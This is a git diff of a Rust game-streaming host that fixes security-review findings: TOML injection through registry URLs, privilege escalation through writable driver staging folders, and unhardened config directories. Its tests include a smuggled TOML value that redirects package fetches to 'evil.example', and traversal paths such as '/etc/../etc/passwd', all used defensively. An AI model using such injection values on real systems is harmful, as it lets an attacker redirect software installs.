full-FEC-block shape. slice_wire: bool, @@ -902,6 +907,19 @@ fn send_loop( ); } } + // Smooth before publishing: a single AU's spread swings with content and + // FEC shape, and the arbiter turns this into a latency handicap that + // decides an arm. EWMA (3:1) over completed AUs is enough to stop one + // spike flipping a verdict. + { + let prev = send_spread_us.load(Ordering::Relaxed); + let next = if prev == 0 { + stat.spread_us + } else { + ((prev as u64 * 3 + stat.spread_us as u64) / 4) as u32 + }; + send_spread_us.store(next, Ordering::Relaxed); + } if perf || stats.rec.is_armed() { // `encode_us`/`pace_us`/fps are valid for every frame (always measured), // including the Windows relay + tail-drain frames. The cap/submit/wait splits @@ -1307,7 +1325,7 @@ pub(super) struct SessionContext { /// The session's input pipeline (the same channel client datagrams feed) — the stream loop /// uses it to PARK the seat pointer on the streamed surface (see [`park_pointer`]). #[cfg(target_os = "linux")] - pub(super) input_tx: std::sync::mpsc::Sender, + pub(super) input_tx: std::sync::mpsc::SyncSender, } /// Park the seat pointer at the centre of the streamed surface, through the SAME injection path @@ -1325,7 +1343,7 @@ pub(super) struct SessionContext { /// output's edge — pins the pointer to the surface the client actually sees. A desktop-model /// client overrides it with its first absolute move, so the jump is invisible in practice. #[cfg(target_os = "linux")] -fn park_pointer(input_tx: &std::sync::mpsc::Sender, w: u32, h: u32) { +fn park_pointer(input_tx: &std::sync::mpsc::SyncSender, w: u32, h: u32) { let ev = punktfunk_core::input::InputEvent { kind: punktfunk_core::input::InputKind::MouseMoveAbs, _pad: [0; 3], @@ -1336,7 +1354,12 @@ fn park_pointer(input_tx: &std::sync::mpsc::Sender, w // matches the streamed output by exactly these dims. flags: (w << 16) | (h & 0xffff), }; - if input_tx.send(super::input::ClientInput::Event(ev)).is_ok() { + // `try_send`, matching the bounded input queue (2026-08-05 review M-3): parking is a + // best-effort nicety and must never block the stream loop behind a full input backlog. + if input_tx + .try_send(super::input::ClientInput::Event(ev)) + .is_ok() + { tracing::info!( w, h, @@ -1773,6 +1796,7 @@ pub(super) fn virtual_stream(ctx: SessionContext, prepared: Option ceiling { diff --git a/crates/punktfunk-host/src/session_status.rs b/crates/punktfunk-host/src/session_status.rs index 7d201e8d..fd34b29a 100644 --- a/crates/punktfunk-host/src/session_status.rs +++ b/crates/punktfunk-host/src/session_status.rs @@ -381,6 +381,7 @@ mod tests { // No signals: an inert lease, so no watcher thread races this test's assertions. spec: crate::library::DetectSpec::default(), nested: false, + launcher: false, child: None, launch_stamp: None, procs: None, diff --git a/crates/punktfunk-host/src/store.rs b/crates/punktfunk-host/src/store.rs index 005bd7f7..2a714c72 100644 --- a/crates/punktfunk-host/src/store.rs +++ b/crates/punktfunk-host/src/store.rs @@ -137,6 +137,49 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec { out } +/// A registry URL that is safe to write into a hand-formatted TOML string, and plausible as a +/// registry: absolute https, bounded, and built only from characters that appear in a real URL. +/// +/// Deliberately a strict allowlist rather than "reject quotes and newlines" — the failure this +/// guards is TOML injection, and a denylist of the delimiters someone remembers is how the original +/// `starts_with("https://")` check came to be the only guard at all. No quote, no whitespace, no +/// control character, no backslash can pass, so `"{scope}" = "{url}"` cannot be closed early. +fn valid_registry_url(url: &str) -> bool { + let Some(rest) = url.strip_prefix("https://") else { + return false; + }; + !rest.is_empty() + && url.len() <= 512 + && rest.chars().all(|c| { + c.is_ascii_alphanumeric() + || matches!( + c, + '-' | '.' + | '_' + | '~' + | ':' + | '/' + | '?' + | '#' + | '[' + | ']' + | '@' + | '!' + | '$' + | '&' + | '\'' + | '(' + | ')' + | '*' + | '+' + | ',' + | ';' + | '=' + | '%' + ) + }) +} + /// Point a package scope at its registry in the plugins dir's `bunfig.toml`. /// /// The runner CLI can do this too (`--registry @scope=URL`), but the store must **not** depend on @@ -149,9 +192,17 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec { /// Idempotent and non-destructive, matching `sdk/src/plugins.ts::ensureBunfig`: a scope already /// mapped to this URL is left alone, one mapped elsewhere is rewritten, unrelated content survives. pub(crate) fn ensure_bunfig_scope(dir: &Path, scope: &str, url: &str) -> Result<()> { - // The scope and URL both come from a signature-verified, field-validated index entry - // (`@`-prefixed, `[a-z0-9._-]`, https), so neither can smuggle a quote or newline into the TOML. - if !index::valid_scoped_pkg(&format!("{scope}/x")) || !url.starts_with("https://") { + // Both halves are hand-formatted into TOML below (`"{scope}" = "{url}"`), so both must be + // proven unable to close the quote. + // + // The scope always was. The URL was not: its only guard was `starts_with("https://")`, and + // `Entry::registry` — unlike `title`/`description`/`author`/`version` — never goes through + // `sanitize`, so everything after the prefix arrived verbatim. A catalog entry whose registry + // read `https://ok/"\n[install]\nregistry = "https://evil/` injected a top-level `[install]` + // table into the file that tells `bun` where to fetch EVERY package from — and it persists + // after the source is deleted, because nothing rewrites this file (2026-08-05 review M-7). + // Sources may be unsigned, so "it came from a verified index" was not a guarantee either. + if !index::valid_scoped_pkg(&format!("{scope}/x")) || !valid_registry_url(url) { bail!("refusing to map scope `{scope}` to `{url}`"); } std::fs::create_dir_all(dir).with_context(|| format!("create {}", dir.display()))?; @@ -679,6 +730,49 @@ mod tests { assert!(!dir.path().join("bunfig.toml").exists()); } + /// TOML injection through the registry URL (2026-08-05 review M-7). `Entry::registry` never + /// goes through `sanitize`, and the old guard was a bare `starts_with("https://")` — so + /// everything after the prefix reached a hand-formatted `"{scope}" = "{url}"` verbatim. The + /// payload that mattered injects a top-level `[install]` table, redirecting every subsequent + /// package resolution, and survives deletion of the source that introduced it. + #[test] + fn bunfig_registry_url_cannot_inject_a_toml_table() { + let dir = tempfile::tempdir().unwrap(); + let injection = "https://ok.example/\"\n[install]\nregistry = \"https://evil.example/"; + assert!( + ensure_bunfig_scope(dir.path(), "@x", injection).is_err(), + "a registry URL that closes the TOML string must be refused" + ); + assert!(!dir.path().join("bunfig.toml").exists()); + + // The individual characters that make it possible, each on its own. + for bad in [ + "https://e/\"quote", + "https://e/\nnewline", + "https://e/\rcarriage", + "https://e/ space", + "https://e/\ttab", + "https://e/back\\slash", + "https://e/nul\0byte", + ] { + assert!( + ensure_bunfig_scope(dir.path(), "@x", bad).is_err(), + "must refuse registry URL {bad:?}" + ); + } + // Real registry URLs — including ports, query strings and percent-escapes — still pass. + for good in [ + "https://git.unom.io/api/packages/unom/npm/", + "https://registry.example.com:8443/npm/", + "https://example.com/npm/?token=abc%20def", + ] { + assert!( + ensure_bunfig_scope(dir.path(), "@x", good).is_ok(), + "must accept registry URL {good:?}" + ); + } + } + /// The name-shape guard is necessary but NOT sufficient — see `mgmt::store::uninstall_plugin`. /// /// `@punktfunk/plugin-kit` is a plugin's *framework*, and it satisfies every syntactic rule diff --git a/crates/punktfunk-host/src/store/index.rs b/crates/punktfunk-host/src/store/index.rs index cecea4c2..2471a772 100644 --- a/crates/punktfunk-host/src/store/index.rs +++ b/crates/punktfunk-host/src/store/index.rs @@ -97,6 +97,31 @@ pub(crate) struct Entry { /// Host platforms this plugin works on (`linux`/`windows`/`macos`). Empty ⇒ all. #[serde(default)] pub platforms: Vec, + /// What kinds of plugin this is (`[a-z][a-z0-9-]{0,31}`, ≤4). The console filters Browse by + /// these, and the Game sources surface's "Add a source" rail lists exactly the entries carrying + /// `library` (design D5/D6). Additive: an older host ignores the field, a newer one just sees no + /// categories on an older index. + #[serde(default)] + pub categories: Vec, + /// Optional per-platform "is this launcher installed here?" probes (design D8). + #[serde(default, skip_serializing_if = "Option::is_none")] + pub detect: Option, +} + +/// Existence probes that let the console badge a catalog row "detected on this host" **without the +/// host re-growing per-store knowledge** — the whole point of extracting the scanners. Store +/// knowledge lives in the updatable, signed index; the host stays generic and only evaluates. +/// +/// Deliberately anaemic: a probe is a path or an `HKLM\…` registry key, checked for EXISTENCE only. +/// No reads, no content matching, no globbing beyond a single `*` segment. The index is +/// operator-trusted but remotely updatable, so a probe must never be able to exfiltrate anything or +/// cost more than a stat. +#[derive(Debug, Clone, Default, Deserialize, Serialize)] +pub(crate) struct DetectProbes { + #[serde(default)] + pub linux: Vec, + #[serde(default)] + pub windows: Vec, } #[derive(Debug, Clone, Deserialize, Serialize)] @@ -228,9 +253,40 @@ impl Entry { self.platforms .retain(|p| matches!(p.as_str(), "linux" | "windows" | "macos")); self.platforms.truncate(4); + // Categories and probes are cosmetic/advisory: a malformed one is dropped, never fatal to + // the entry — a plugin must stay installable even if a future index writes a category this + // host build has never heard of. + self.categories.retain(|c| valid_category(c)); + self.categories.truncate(4); + if let Some(d) = &mut self.detect { + d.linux.retain(|p| valid_probe(p)); + d.windows.retain(|p| valid_probe(p)); + d.linux.truncate(MAX_PROBES); + d.windows.truncate(MAX_PROBES); + if d.linux.is_empty() && d.windows.is_empty() { + self.detect = None; + } + } Ok(()) } + /// Does this entry's platform probe match on the running host? `None` = the entry declares no + /// probes for this platform, i.e. "unknown", which the console renders differently from "no". + pub(crate) fn detected(&self) -> Option { + let probes = self.detect.as_ref()?; + let list = if cfg!(windows) { + &probes.windows + } else if cfg!(target_os = "linux") { + &probes.linux + } else { + return None; + }; + if list.is_empty() { + return None; + } + Some(list.iter().any(|p| probe_matches(p))) + } + /// Is this entry installable on the running host? Returns the operator-facing reason when not. pub(crate) fn incompatible_reason(&self) -> Option { if !self.platforms.is_empty() && !self.platforms.iter().any(|p| p == HOST_PLATFORM) { @@ -372,6 +428,94 @@ fn is_https(url: &str) -> bool { url.starts_with("https://") && url.len() > "https://".len() } +/// A plugin category (design D5): same shape the registration API accepts, so a plugin's declared +/// category and its catalog row can never disagree about spelling. +fn valid_category(c: &str) -> bool { + (1..=32).contains(&c.len()) + && c.starts_with(|ch: char| ch.is_ascii_lowercase()) + && c.bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-') +} + +/// How many probes one platform may declare — a handful of well-chosen paths covers any launcher, +/// and the cap bounds the stat cost of rendering the catalog. +const MAX_PROBES: usize = 8; + +/// Is this a probe the host will evaluate? An **absolute** filesystem path with at most one `*` +/// segment, or an `HKLM\…` registry key. Everything else is dropped. +/// +/// The restrictions are the security model (D8). Absolute: a relative path would resolve against +/// whatever the host's cwd happens to be. One `*` segment: bounded fan-out, so a probe can't walk a +/// tree. `HKLM` only: `HKCU` is unreadable as LocalService anyway, and pointing the host at an +/// arbitrary hive is not something a remote index should be able to ask for. +fn valid_probe(p: &str) -> bool { + if p.is_empty() || p.len() > 260 { + return false; + } + if let Some(key) = p.strip_prefix("HKLM\\") { + return !key.is_empty() + && !key.contains("..") + && key.bytes().all(|b| { + b.is_ascii_alphanumeric() || matches!(b, b'\\' | b' ' | b'-' | b'_' | b'.') + }); + } + let b = p.as_bytes(); + let absolute = p.starts_with('/') || (b.len() >= 3 && b[1] == b':' && b[2] == b'\\'); + // No traversal, and at most ONE wildcard segment (`~` is not expanded — the host runs as a + // service account whose home means nothing to a user's launcher install). + absolute && !p.contains("..") && p.matches('*').count() <= 1 +} + +/// Evaluate one probe: does the path (or registry key) exist? Existence only — never a read. +fn probe_matches(p: &str) -> bool { + #[cfg(windows)] + if let Some(key) = p.strip_prefix("HKLM\\") { + use std::os::windows::process::CommandExt; + // `reg.exe query` rather than a registry crate: dependency-free, and it is exactly what a + // library plugin will use for the same job under LocalService. + const CREATE_NO_WINDOW: u32 = 0x0800_0000; + return std::process::Command::new("reg.exe") + .args(["query", &format!("HKLM\\{key}")]) + .creation_flags(CREATE_NO_WINDOW) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .status() + .map(|s| s.success()) + .unwrap_or(false); + } + #[cfg(not(windows))] + if p.starts_with("HKLM\\") { + return false; // a Windows probe on a POSIX host is simply not a match + } + match p.split_once('*') { + None => std::path::Path::new(p).exists(), + // One wildcard: list the parent of the wildcard segment and match the fixed prefix/suffix + // around it. Bounded to a single directory read. + Some((before, after)) => { + let (dir, prefix) = match before.rfind(['/', '\\']) { + Some(i) => (&before[..=i], &before[i + 1..]), + None => return false, // a wildcard with no directory to anchor it + }; + let (suffix, rest) = match after.find(['/', '\\']) { + Some(i) => (&after[..i], &after[i..]), + None => (after, ""), + }; + let Ok(read) = std::fs::read_dir(dir) else { + return false; + }; + read.flatten().any(|e| { + let name = e.file_name(); + let name = name.to_string_lossy(); + name.starts_with(prefix) + && name.ends_with(suffix) + && name.len() >= prefix.len() + suffix.len() + && (rest.is_empty() + || e.path().join(rest.trim_start_matches(['/', '\\'])).exists()) + }) + } + } +} + #[cfg(test)] mod tests { use super::*; @@ -401,6 +545,73 @@ mod tests { assert!(Index::parse(b"not json").is_err()); } + /// WP2.8 is additive on purpose — SCHEMA stays 1. An index written by a newer curator must load + /// on an older host (unknown fields ignored) and vice versa (absent fields default), or the + /// signed-index rollout would need a flag day. + #[test] + fn categories_and_probes_are_additive_and_sanitized() { + // An entry with NEITHER field — every index in the wild today. + let e = &Index::parse(&doc(GOOD)).unwrap().plugins[0]; + assert!(e.categories.is_empty()); + assert!(e.detect.is_none()); + assert_eq!(e.detected(), None, "no probes ⇒ unknown, not `false`"); + + // With both, including rows that must be dropped rather than fail the entry. + let rich = GOOD.trim_end_matches('}').to_string() + + r#","categories":["library","Bad Cat","x","y","z","w"], + "detect":{"linux":["/usr/bin/steam","relative/path","/etc/../etc/passwd"], + "windows":["HKLM\\SOFTWARE\\Valve\\Steam","HKCU\\SOFTWARE\\Valve"]}}"#; + let e = &Index::parse(&doc(&rich)).unwrap().plugins[0]; + assert_eq!( + e.categories, + ["library", "x", "y", "z"], + "malformed dropped, capped at 4" + ); + let d = e.detect.as_ref().expect("probes kept"); + assert_eq!(d.linux, ["/usr/bin/steam"], "relative + traversal dropped"); + assert_eq!( + d.windows, + ["HKLM\\SOFTWARE\\Valve\\Steam"], + "HKCU is not evaluable as LocalService — dropped" + ); + } + + #[test] + fn probe_shapes_are_bounded() { + assert!(valid_probe("/usr/bin/steam")); + assert!( + valid_probe("/home/*/.steam"), + "one wildcard segment is fine" + ); + assert!(valid_probe(r"C:\Program Files (x86)\Steam\steam.exe")); + assert!(valid_probe(r"HKLM\SOFTWARE\WOW6432Node\Valve\Steam")); + // Rejected: relative, traversal, more than one wildcard, other hives, absurd length. + assert!(!valid_probe("steam")); + assert!(!valid_probe("/usr/../etc/passwd")); + assert!(!valid_probe("/home/*/games/*/steam")); + assert!(!valid_probe(r"HKCU\SOFTWARE\Valve")); + assert!(!valid_probe("")); + assert!(!valid_probe(&"/x".repeat(200))); + } + + /// The evaluator does existence checks only, against real paths, and never reads a byte. + #[test] + fn probes_evaluate_against_the_filesystem() { + let dir = std::env::temp_dir().join(format!("pf-probe-{}", std::process::id())); + let nested = dir.join("SteamLibrary-42"); + std::fs::create_dir_all(nested.join("steamapps")).unwrap(); + let d = dir.to_string_lossy().into_owned(); + + assert!(probe_matches(&format!("{d}/SteamLibrary-42"))); + assert!(!probe_matches(&format!("{d}/nope"))); + // One wildcard segment, with and without a trailing fixed component. + assert!(probe_matches(&format!("{d}/SteamLibrary-*"))); + assert!(probe_matches(&format!("{d}/SteamLibrary-*/steamapps"))); + assert!(!probe_matches(&format!("{d}/SteamLibrary-*/nope"))); + assert!(!probe_matches(&format!("{d}/Other-*"))); + let _ = std::fs::remove_dir_all(&dir); + } + #[test] fn drops_invalid_entries_but_keeps_the_rest() { let bad_unscoped = GOOD.replace("@punktfunk/plugin-rom-manager", "punktfunk-plugin-x"); diff --git a/crates/punktfunk-host/src/windows/install.rs b/crates/punktfunk-host/src/windows/install.rs index edf96619..3c60e1de 100644 --- a/crates/punktfunk-host/src/windows/install.rs +++ b/crates/punktfunk-host/src/windows/install.rs @@ -61,6 +61,22 @@ pub fn driver_main(args: &[String]) -> Result<()> { fn driver_install(args: &[String]) -> Result<()> { let dir = PathBuf::from(flag_val(args, "--dir").context("driver install: --dir required")?); + // Everything below this line runs with the caller's privileges — which, on the installer path, + // are SYSTEM/Administrator — and it does three things with the CONTENTS of `dir`: trusts a + // `.cer` into the machine `Root` store, runs `nefconc.exe` from it, and stages an `.inf` into + // the driver store. So the directory is not merely an input, it is code and trust; a stage a + // non-admin can write is a local privilege escalation, whoever passed the flag. + // + // This is the check the 2026-07-05 audit recorded as FIXED (F-8) and which was never actually + // in the tree — re-found by the 2026-08-05 review as H-5, and the payload half of H-4's + // plant-then-elevate chain (`PUNKTFUNK_HOST_CMD=driver install --dir C:\Users\attacker\stage`). + ensure_admin_only_source(&dir).with_context(|| { + format!( + "refusing to install drivers from {} — the staging directory must be writable only by \ + SYSTEM/Administrators", + dir.display() + ) + })?; let gamepad = flag_present(args, "--gamepad"); let (what, res) = if gamepad { ("gamepad", install_gamepad(&dir)) @@ -74,6 +90,166 @@ fn driver_install(args: &[String]) -> Result<()> { Ok(()) } +/// Refuse a driver staging directory that anyone but SYSTEM/Administrators can write. +/// +/// Two conditions, both necessary: +/// - the directory is **owned** by SYSTEM, Administrators, or TrustedInstaller — an owner always +/// retains `WRITE_DAC`, so a non-admin owner can put their own access back no matter what the +/// DACL currently says; +/// - no **allow** ACE grants a write-shaped right to any trustee outside that same set. `CREATOR +/// OWNER` counts as outside: on a directory a non-admin pre-created under `C:\ProgramData`, it is +/// precisely what keeps handing them control of everything inside. +/// +/// Reads the security descriptor directly rather than parsing `icacls` output, which prints +/// *localized account names* — the same class of locale trap this whole module exists to avoid. +#[cfg(windows)] +fn ensure_admin_only_source(dir: &Path) -> Result<()> { + use std::os::windows::ffi::OsStrExt; + use windows::core::PCWSTR; + use windows::Win32::Foundation::{LocalFree, HLOCAL}; + use windows::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT}; + use windows::Win32::Security::{ + EqualSid, GetAce, IsValidSid, ACCESS_ALLOWED_ACE, ACE_HEADER, ACL, + DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR, PSID, + }; + + const ACCESS_ALLOWED_ACE_TYPE: u8 = 0; + /// Rights that let a trustee change what we are about to trust and execute: write/append data, + /// write attributes/EA, delete (incl. child delete), and the two that let them rewrite the + /// security descriptor itself. `GENERIC_WRITE`/`GENERIC_ALL` map onto these once mapped, and + /// both generic bits are checked explicitly in case an ACE stores them unmapped. + const WRITE_MASK: u32 = 0x0000_0002 // FILE_WRITE_DATA / FILE_ADD_FILE + | 0x0000_0004 // FILE_APPEND_DATA / FILE_ADD_SUBDIRECTORY + | 0x0000_0010 // FILE_WRITE_EA + | 0x0000_0100 // FILE_WRITE_ATTRIBUTES + | 0x0000_0040 // FILE_DELETE_CHILD + | 0x0001_0000 // DELETE + | 0x0004_0000 // WRITE_DAC + | 0x0008_0000 // WRITE_OWNER + | 0x1000_0000 // GENERIC_ALL + | 0x4000_0000; // GENERIC_WRITE + + if !dir.is_dir() { + bail!("{} is not a directory", dir.display()); + } + let wide: Vec = dir + .as_os_str() + .encode_wide() + .chain(std::iter::once(0)) + .collect(); + + let mut owner = PSID::default(); + let mut dacl: *mut ACL = std::ptr::null_mut(); + let mut sd = PSECURITY_DESCRIPTOR::default(); + // SAFETY: `wide` is NUL-terminated and outlives the call; the out-params are live locals; the + // returned descriptor is the single allocation, LocalFree'd below (owner/dacl point into it). + let rc = unsafe { + GetNamedSecurityInfoW( + PCWSTR(wide.as_ptr()), + SE_FILE_OBJECT, + OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, + Some(&mut owner), + None, + Some(&mut dacl), + None, + &mut sd, + ) + }; + + let verdict = (|| -> Result<()> { + rc.ok().context("GetNamedSecurityInfoW(owner + DACL)")?; + let privileged = privileged_sids()?; + let is_privileged = |sid: PSID| -> bool { + // SAFETY: every `sid` handed in points into the descriptor returned above (or at an + // ACE inside it) and is valid for this scope; IsValidSid is itself the probe. + if sid.is_invalid() || !unsafe { IsValidSid(sid) }.as_bool() { + return false; + } + privileged + .iter() + // SAFETY: `sid` passed IsValidSid above; `p` is an owned, length-exact SID copy. + .any(|p| unsafe { EqualSid(sid, PSID(p.as_ptr().cast_mut().cast())) }.is_ok()) + }; + + if !is_privileged(owner) { + bail!( + "the directory is owned by a non-administrative account, which retains WRITE_DAC \ + and can restore its own access at any time" + ); + } + // A NULL DACL grants everyone everything; an absent one is not "no access". + if dacl.is_null() { + bail!("the directory has a NULL DACL (everyone has full control)"); + } + // SAFETY: `dacl` is a valid ACL inside the descriptor; AceCount bounds the GetAce index. + let count = unsafe { (*dacl).AceCount }; + for i in 0..count as u32 { + let mut ace: *mut core::ffi::c_void = std::ptr::null_mut(); + // SAFETY: i < AceCount, and `ace` is a live out-param. + unsafe { GetAce(dacl, i, &mut ace) }.context("GetAce")?; + // SAFETY: every ACE starts with an ACE_HEADER. + let header = unsafe { *(ace as *const ACE_HEADER) }; + if header.AceType != ACCESS_ALLOWED_ACE_TYPE { + continue; // deny ACEs only ever subtract; audit ACEs grant nothing + } + // SAFETY: an allow ACE is an ACCESS_ALLOWED_ACE, whose SidStart begins the trustee SID. + let allowed = unsafe { &*(ace as *const ACCESS_ALLOWED_ACE) }; + if allowed.Mask & WRITE_MASK == 0 { + continue; // read-only for this trustee — harmless + } + let sid = PSID(std::ptr::addr_of!(allowed.SidStart) as *mut core::ffi::c_void); + if !is_privileged(sid) { + bail!( + "a non-administrative trustee has write access (ACE {i}, mask {:#010x}) — \ + anything staged here can be replaced before it is trusted or executed", + allowed.Mask + ); + } + } + Ok(()) + })(); + + // SAFETY: `sd` is the single LocalAlloc'd descriptor GetNamedSecurityInfoW returned. + unsafe { + let _ = LocalFree(Some(HLOCAL(sd.0))); + } + verdict +} + +/// The SIDs allowed to own or write a driver staging directory: `SYSTEM`, `BUILTIN\Administrators`, +/// and `TrustedInstaller` (which owns much of `%ProgramFiles%`, a perfectly good stage). +#[cfg(windows)] +fn privileged_sids() -> Result>> { + use windows::core::PCWSTR; + use windows::Win32::Foundation::{LocalFree, HLOCAL}; + use windows::Win32::Security::Authorization::ConvertStringSidToSidW; + use windows::Win32::Security::{GetLengthSid, PSID}; + + [ + "S-1-5-18", + "S-1-5-32-544", + "S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464", + ] + .iter() + .map(|s| { + let wide: Vec = s.encode_utf16().chain(std::iter::once(0)).collect(); + let mut psid = PSID::default(); + // SAFETY: `wide` is NUL-terminated and outlives the call; psid is a live out-param. + unsafe { ConvertStringSidToSidW(PCWSTR(wide.as_ptr()), &mut psid) } + .with_context(|| format!("ConvertStringSidToSidW({s})"))?; + // SAFETY: psid is a valid SID; copy it out so the caller owns plain bytes. + let len = unsafe { GetLengthSid(psid) } as usize; + // SAFETY: GetLengthSid just measured exactly `len` readable bytes at `psid`. + let bytes = unsafe { std::slice::from_raw_parts(psid.0 as *const u8, len) }.to_vec(); + // SAFETY: ConvertStringSidToSidW allocates with LocalAlloc. + unsafe { + let _ = LocalFree(Some(HLOCAL(psid.0))); + } + Ok(bytes) + }) + .collect() +} + /// The subject CN both driver-signing certs carry (`build-pf-vdisplay.ps1` / /// `build-gamepad-drivers.ps1`). certutil matches a CertId against the subject, so this is how we /// find our own certs again without parsing any localized output — see `purge_driver_certs`. @@ -454,7 +630,12 @@ fn web_setup(args: &[String]) -> Result<()> { PathBuf::from(flag_val(args, "--app-dir").context("web setup: --app-dir required")?); let pw_file = flag_val(args, "--password-file"); let data_dir = pf_paths::config_dir(); - std::fs::create_dir_all(&data_dir).ok(); + // `create_private_dir`, not `create_dir_all`: this runs at install time, before anything else + // touches the config dir, and the very next line writes the console login password into it. A + // plain `create_dir_all` leaves the inherited `%ProgramData%` ACL, under which BUILTIN\Users may + // create files — so the one call that most needs the hardened directory was the one creating it + // unhardened (2026-08-05 review H-4). + pf_paths::create_private_dir(&data_dir).ok(); // 1. login password set_web_password(&data_dir.join("web-password"), pw_file.as_deref()); @@ -477,39 +658,51 @@ fn web_setup(args: &[String]) -> Result<()> { server.display() ); } - // 4. firewall: inbound TCP 47992. The console serves HTTPS (HTTP/1.1 over TLS) with the host's - // identity cert. (No UDP/HTTP-3: browsers won't use QUIC against a self-signed/no-SAN cert.) - // Scoped to the same profiles as the streaming ports — Domain + Private by default, Public - // only with `--allow-public-network`. Delete any prior rule first so an upgrade re-scopes it - // instead of stacking a second (possibly all-profiles) rule behind the new one. + // 4. firewall: inbound TCP 47992 (console) and 47993 (plugin UIs). The console serves HTTPS + // (HTTP/1.1 over TLS) with the host's identity cert. (No UDP/HTTP-3: browsers won't use QUIC + // against a self-signed/no-SAN cert.) Scoped to the same profiles as the streaming ports — + // Domain + Private by default, Public only with `--allow-public-network`. Delete any prior + // rule first so an upgrade re-scopes it instead of stacking a second (possibly all-profiles) + // rule behind the new one. + // + // 47993 is a SEPARATE ORIGIN, not a second copy of the console: plugin UIs are served there + // precisely so a plugin cannot act as the logged-in operator on the console's origin + // (security-review 2026-08-05 H-3). Same host, same certificate, different port — which is + // what makes it a different origin to the browser while staying same-site for the session + // cookie. Without this rule, plugin interfaces simply do not load from another device. let fw_profile = crate::service::firewall_profile_arg(crate::service::allow_public_network(args)?); - run_quiet( - "netsh", - &[ - "advfirewall", - "firewall", - "delete", - "rule", - "name=Punktfunk web console (TCP 47992)", - ], - ); - if !run_quiet( - "netsh", - &[ - "advfirewall", - "firewall", - "add", - "rule", - "name=Punktfunk web console (TCP 47992)", - "dir=in", - "action=allow", - "protocol=TCP", - "localport=47992", - fw_profile, - ], - ) { - eprintln!("warning: could not add the firewall rule for TCP 47992"); + for (name, port) in [ + ("Punktfunk web console (TCP 47992)", "47992"), + ("Punktfunk plugin UIs (TCP 47993)", "47993"), + ] { + run_quiet( + "netsh", + &[ + "advfirewall", + "firewall", + "delete", + "rule", + &format!("name={name}"), + ], + ); + if !run_quiet( + "netsh", + &[ + "advfirewall", + "firewall", + "add", + "rule", + &format!("name={name}"), + "dir=in", + "action=allow", + "protocol=TCP", + &format!("localport={port}"), + fw_profile, + ], + ) { + eprintln!("warning: could not add the firewall rule for TCP {port}"); + } } // No start step: the PunktfunkHost service supervises the console and starts it the moment the // host has written the files it needs (mgmt token + identity cert/key) — there is nothing an diff --git a/crates/punktfunk-host/src/windows/service.rs b/crates/punktfunk-host/src/windows/service.rs index 35e0f06b..efdbb2da 100644 --- a/crates/punktfunk-host/src/windows/service.rs +++ b/crates/punktfunk-host/src/windows/service.rs @@ -1343,14 +1343,26 @@ fn uninstall() -> Result<()> { /// defaults to `auto` — the host picks NVENC (NVIDIA) / AMF (AMD) / QSV (Intel) from the GPU vendor. fn ensure_default_host_env() -> Result<()> { let path = host_env_path(); - if path.exists() { - return Ok(()); - } + // Harden the config dir FIRST, unconditionally — before the `exists()` check, not inside the + // branch that creates the file. + // + // The 2026-08-05 review's H-4: this used to return early when host.env already existed, which + // skipped the very `create_private_dir` whose reason for existing is "so a local user can't + // pre-create it and plant a host.env". `C:\ProgramData` grants BUILTIN\Users add-subdirectory + // plus CREATOR OWNER full control, so an unprivileged user can create `C:\ProgramData\punktfunk`, + // own it, and drop a host.env — and the skip meant the one case the hardening was written for was + // the one case it never ran in. The service then loads that file verbatim into its own SYSTEM + // environment and into the command line it launches (`PUNKTFUNK_HOST_CMD=…`). if let Some(dir) = path.parent() { - // DACL-lock the config dir on creation so a local user can't pre-create it and plant a - // host.env (which feeds the SYSTEM service's env + command line) — security-review #3. pf_paths::create_private_dir(dir).ok(); } + if path.exists() { + // An existing host.env may predate the hardening (or have been planted before it ran), in + // which case it is still owned by whoever created it — and an owner can rewrite the DACL it + // inherited. Re-apply the SYSTEM/Administrators lock to the FILE as well as the directory. + pf_paths::restrict_existing_secret_file(&path); + return Ok(()); + } let default = "# punktfunk host configuration (read by the Windows service).\n\ # KEY=VALUE per line; '#' comments. Restart the service after editing:\n\ # punktfunk-host service stop && punktfunk-host service start\n\ diff --git a/docs-site/content/docs/plugins.mdx b/docs-site/content/docs/plugins.mdx index 9de18f07..dc137d56 100644 --- a/docs-site/content/docs/plugins.mdx +++ b/docs-site/content/docs/plugins.mdx @@ -108,10 +108,16 @@ the full path: `& "$env:ProgramFiles\punktfunk\punktfunk-host.exe" plugins add p Open the [web console](/docs/web-console) and the plugin's page appears in the nav automatically — that's the whole install. -The runner is **opt-in**: `plugins add` installs, `plugins enable` turns it on. You only need -`enable` once. The runner discovers plugins when it starts, so one installed later needs a restart -to come up (`systemctl --user restart punktfunk-scripting`, or `Restart` the `PunktfunkScripting` -task) — the console does that restart for you as part of installing. +The runner is **on by default** on a new install — your game sources are plugins, so a host without +it would show an empty library. (On a host that predates this, it stays however you left it; turn it +on with `punktfunk-host plugins enable`, which you only need once.) The runner discovers plugins +when it starts, so one installed later needs a restart to come up +(`systemctl --user restart punktfunk-scripting`, or `Restart` the `PunktfunkScripting` task) — the +console does that restart for you as part of installing. + +Don't want it? It is a normal service you can switch off: `systemctl --user mask punktfunk-scripting` +on Linux, or disable the `PunktfunkScripting` scheduled task on Windows. Your host keeps streaming; +you just lose plugin-provided game sources and any automation. A plugin installed from the CLI shows up in the console as **Installed via CLI**: the console knows what is installed, but not who vouched for it. Install the same plugin from the store's Browse tab @@ -301,8 +307,8 @@ host's, on one timeline, with the same search and download. Each is tagged `plug plugin's own name for lines it logged itself, `plugin:runner` for the supervisor's (starting a plugin, restarting a crashed one, refusing an unsafe file). -An empty Plugins view almost always means the runner isn't running — it is a separate service, and -opt-in on Linux. Check with `punktfunk-host plugins status`. +An empty Plugins view almost always means the runner isn't running — it is a separate service. Check +with `punktfunk-host plugins status`. Nothing is lost if the host is down: the runner keeps buffering and sends the backlog when the host diff --git a/docs-site/content/docs/profiles-and-links.md b/docs-site/content/docs/profiles-and-links.md index af8c8f07..8beac305 100644 --- a/docs-site/content/docs/profiles-and-links.md +++ b/docs-site/content/docs/profiles-and-links.md @@ -164,11 +164,12 @@ could do, minus every trust decision.** ## Getting a link, and making a shortcut On Linux and 